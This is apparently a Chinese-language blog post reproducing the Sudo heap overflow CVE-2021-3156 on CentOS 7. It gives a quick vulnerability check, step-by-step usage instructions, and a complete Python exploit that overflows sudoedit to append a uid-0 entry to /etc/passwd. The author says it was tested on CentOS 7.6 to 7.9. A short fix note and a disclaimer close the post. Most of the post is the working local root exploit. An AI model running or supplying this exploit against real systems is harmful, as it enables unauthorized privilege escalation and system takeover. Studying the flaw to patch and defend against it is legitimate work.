Sudo 缓冲区溢出漏洞(CVE-2021-3156)复现-CentOS7
2021-01-26,MITRE 公开披露了一个由 Sudo 堆缓冲区溢出导致的本地提权漏洞——CVE-2021-3156,MITRE 相关页面显示,1.9.5p2 版本之前的 Sudo 存在该问题。利用该漏洞,普通用户可以将自身身份提升为 root。判断你的 Linux 是否受该漏洞影响,一个简单的方法是执行sudoedit -s /
,如果返回是sudoedit: /: not a regular file
,表示漏洞存在,如果返回以usage:
开头,说明不受该漏洞影响。Github 用户PhuketIsland针对 CentOS7 发布了该漏洞的的 EXP:https://github.com/PhuketIsland/CVE-2021-3156-centos7。以下是该 EXP 的利用方法
-
首先提取出
/etc/passwd
文件中的文本内容 -
将文本中要提升权限的用户的 uid 和 gid 改为 0
-
将修改后的文本内容插入到下面的代码中的
APPEND_CONTENT
中 -
执行修改后的代码文件
-
用户 uid 和 gid 已被更改,退出当前登录并重新登录
#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"""请把我替换为passwd文件中的内容\n""";
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
TARGET_CMND_SIZE = 0x1b50
argv = ["sudoedit", "-A", "-s", PASSWD_PATH, "A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\", None]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA + 0x20)
ADDR_PRIV_PREV = pack('<Q', SA + 0x10)
ADDR_CMND_PREV = pack('<Q', SA + 0x18)
ADDR_MEMBER_PREV = pack('<Q', SA + 0x20)
ADDR_DEF_VAR = pack('<Q', SA + 0x10)
ADDR_DEF_BINDING = pack('<Q', SA + 0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA + OFFSET)
ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40)
ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30)
ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60)
epage = [
'A' * 0x8 +
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '',
ADDR_CMND[:6], '',
ADDR_MEMBER[:6], '',
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A' * 0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A' * 8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6] + '', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6] + '', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A' * 8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A' * 8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A' * 0xc + # padding
# cmndspec chunk
'\x61' * 0x8 + # chunk metadata (need only prev_inuse flag)
'A' * 0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9' + '\xff' * 0x17 + # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A' * 8 + # padding
# privileges chunk
'\x51' * 0x8 + # chunk metadata
'A' * 0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A' * 8 + # ldap_role
'A' * 8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A' * 8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P' * (padlen - 1))
env = [
"A" * (7 + 0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A" * 0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a' * 8 + # prev
ADDR_DEF_VAR[:6] + '\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6] + '\\', '\\', # binding
ADDR_REFSTR[:6] + '\\', '\\', # file
"Z" * 0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C' * 0x638 + # need prev_inuse and overwrite until userspec
'B' * 0x1b0 +
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6] + '\\', '\\', # entries.tqe_next points to fake userspec in stack
"A" * 8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6] + '\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.writelines(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
我已在 CentOS7.6/7.8/7.9 中测试过该 EXP
修复该漏洞的方法是更新 Sudo,确保`sudoedit -s /
`的返回结果以usage:
开头。
本文提及的内容仅用于技术交流,请勿将此漏洞复现的方法用于计算机攻击
参考资料
[1] CVE.https://www.cve.org/CVERecord?id=CVE-2021-3156
[2] 阿里云漏洞库.https://avd.aliyun.com/detail?id=AVD-2021-3156
[3] PhuketIsland.Github.https://github.com/PhuketIsland/CVE-2021-3156-centos7